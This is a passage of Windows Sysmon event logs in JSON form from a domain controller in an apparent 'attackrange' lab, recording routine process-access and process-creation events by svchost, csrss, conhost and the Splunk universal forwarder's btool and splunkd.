32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.320\r\nProcessGuid: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nProcessId: 3636\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-regex --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00101A310300}\r\nParentProcessId: 3596\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.320","ProcessGuid":"{90617006-3FE7-5F2D-0000-0010D2310300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-regex --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00101A310300}","ParentProcessId":"3596","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nSourceProcessId: 3596\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nTargetProcessId: 3636\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","SourceProcessId":"3596","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","TargetProcessId":"3636","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nTargetProcessId: 3636\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","TargetProcessId":"3636","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 